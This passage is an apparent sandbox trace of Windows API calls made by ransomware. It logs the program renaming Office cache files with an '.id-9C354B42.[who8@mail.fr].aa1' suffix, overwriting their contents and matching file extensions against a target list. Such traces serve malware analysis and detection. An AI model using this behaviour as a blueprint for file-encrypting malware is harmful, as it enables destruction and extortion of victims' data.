Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0206.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0206.725] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0206.725] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0206.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0206.894] GetLastError () returned 0x0 [0206.894] ReadFile (in: hFile=0x188, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0206.922] WriteFile (in: hFile=0x1b0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0207.100] ReadFile (in: hFile=0x188, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0207.100] WriteFile (in: hFile=0x1b0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0207.100] SetEndOfFile (hFile=0x1b0) returned 1 [0207.100] CloseHandle (hObject=0x1b0) returned 1 [0207.111] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.111] SetEndOfFile (hFile=0x188) returned 1 [0207.120] CloseHandle (hObject=0x188) returned 1 [0207.121] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0207.121] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0207.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.121] lstrlenW (lpString=".doc") returned 4 [0207.121] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0207.121] lstrlenW (lpString=".docx") returned 5 [0207.121] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0207.121] lstrlenW (lpString=".pdf") returned 4 [0207.121] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0207.121] lstrlenW (lpString=".xls") returned 4 [0207.121] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0207.122] lstrlenW (lpString=".xlsx") returned 5 [0207.122] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0207.122] lstrlenW (lpString=".ppt") returned 4 [0207.122] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0207.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.122] lstrlenW (lpString=".zip") returned 4 [0207.122] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0207.122] lstrlenW (lpString=".rar") returned 4 [0207.122] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0207.122] lstrlenW (lpString=".bz2") returned 4 [0207.122] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0207.122] lstrlenW (lpString=".7z") returned 3 [0207.122] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0207.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.122] lstrlenW (lpString=".dbf") returned 4 [0207.122] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0207.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.122] lstrlenW (lpString=".1cd") returned 4 [0207.122] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0207.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.122] lstrlenW (lpString=".jpg") returned 4 [0207.123] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0207.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.123] lstrlenW (lpString=".doc") returned 4 [0207.123] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0207.123] lstrlenW (lpString=".docx") returned 5 [0207.123] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0207.123] lstrlenW (lpString=".pdf") returned 4 [0207.123] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0207.123] lstrlenW (lpString=".xls") returned 4 [0207.123] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0207.123] lstrlenW (lpString=".xlsx") returned 5 [0207.123] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0207.123] lstrlenW (lpString=".ppt") returned 4 [0207.123] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0207.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.123] lstrlenW (lpString=".zip") returned 4 [0207.123] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0207.123] lstrlenW (lpString=".rar") returned 4 [0207.123] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0207.123] lstrlenW (lpString=".bz2") returned 4 [0207.123] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0207.123] lstrlenW (lpString=".7z") returned 3 [0207.123] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0207.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.123] lstrlenW (lpString=".dbf") returned 4 [0207.123] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0207.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.124] lstrlenW (lpString=".1cd") returned 4 [0207.124] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0207.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0207.124] lstrlenW (lpString=".jpg") returned 4 [0207.124] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0207.124] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0207.124] lstrlenW (lpString="Proof.cab") returned 9 [0207.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0207.305] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=13642474) returned 1 [0207.305] CloseHandle (hObject=0x188) returned 1 [0207.306] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0207.306] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.306] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0207.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0207.306] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0207.307] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.307] ReadFile (in: hFile=0x188, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.310] ReadFile (in: hFile=0x188, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.355] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0207.355] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0207.355] ReadFile (in: hFile=0x188, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0207.420] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.421] WriteFile (in: hFile=0x188, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0207.439] SetEndOfFile (hFile=0x188) returned 1 [0207.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f93098 [0207.959] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0207.959] WriteFile (in: hFile=0x188, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.116] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.116] WriteFile (in: hFile=0x188, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.117] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0208.117] WriteFile (in: hFile=0x188, lpBuffer=0x3f93098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93098*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0208.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f93098 | out: hHeap=0x4f0000) returned 1 [0208.119] CloseHandle (hObject=0x188) returned 1 [0210.420] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0210.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.420] lstrlenW (lpString=".doc") returned 4 [0210.420] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0210.420] lstrlenW (lpString=".docx") returned 5 [0210.420] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0210.420] lstrlenW (lpString=".pdf") returned 4 [0210.420] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0210.420] lstrlenW (lpString=".xls") returned 4 [0210.420] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0210.420] lstrlenW (lpString=".xlsx") returned 5 [0210.420] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0210.420] lstrlenW (lpString=".ppt") returned 4 [0210.420] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0210.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.420] lstrlenW (lpString=".zip") returned 4 [0210.420] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0210.420] lstrlenW (lpString=".rar") returned 4 [0210.420] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0210.420] lstrlenW (lpString=".bz2") returned 4 [0210.420] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0210.421] lstrlenW (lpString=".7z") returned 3 [0210.421] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.421] lstrlenW (lpString=".dbf") returned 4 [0210.421] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.421] lstrlenW (lpString=".1cd") returned 4 [0210.421] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.421] lstrlenW (lpString=".jpg") returned 4 [0210.421] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.421] lstrlenW (lpString=".doc") returned 4 [0210.421] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString=".docx") returned 5 [0210.421] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0210.421] lstrlenW (lpString=".pdf") returned 4 [0210.421] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString=".xls") returned 4 [0210.421] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString=".xlsx") returned 5 [0210.421] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0210.421] lstrlenW (lpString=".ppt") returned 4 [0210.421] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.421] lstrlenW (lpString=".zip") returned 4 [0210.421] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString=".rar") returned 4 [0210.421] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0210.421] lstrlenW (lpString=".bz2") returned 4 [0210.421] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0210.421] lstrlenW (lpString=".7z") returned 3 [0210.421] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0210.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.422] lstrlenW (lpString=".dbf") returned 4 [0210.422] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0210.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.422] lstrlenW (lpString=".1cd") returned 4 [0210.422] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0210.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0210.422] lstrlenW (lpString=".jpg") returned 4 [0210.422] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0210.422] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0210.422] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0210.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0210.422] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3124224) returned 1 [0210.422] CloseHandle (hObject=0x188) returned 1 [0210.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0210.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.423] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0210.423] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0210.423] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0210.423] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.423] ReadFile (in: hFile=0x188, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0210.895] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.895] ReadFile (in: hFile=0x188, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.135] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.135] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.136] ReadFile (in: hFile=0x188, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.309] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.309] WriteFile (in: hFile=0x188, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0211.328] SetEndOfFile (hFile=0x188) returned 1 [0211.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0211.328] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.328] WriteFile (in: hFile=0x188, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.330] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.330] WriteFile (in: hFile=0x188, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.335] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.335] WriteFile (in: hFile=0x188, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0211.337] CloseHandle (hObject=0x188) returned 1 [0211.337] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.338] lstrlenW (lpString=".doc") returned 4 [0211.338] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0211.338] lstrlenW (lpString=".docx") returned 5 [0211.338] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0211.338] lstrlenW (lpString=".pdf") returned 4 [0211.338] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0211.338] lstrlenW (lpString=".xls") returned 4 [0211.338] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0211.338] lstrlenW (lpString=".xlsx") returned 5 [0211.338] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0211.338] lstrlenW (lpString=".ppt") returned 4 [0211.338] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0211.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0211.338] lstrlenW (lpString=".zip") returned 4 [0211.338] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0211.338] lstrlenW (lpString=".rar") returned 4 [0211.338] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0211.338] lstrlenW (lpString=".bz2") returned 4 [0211.338] lstrcmpiW 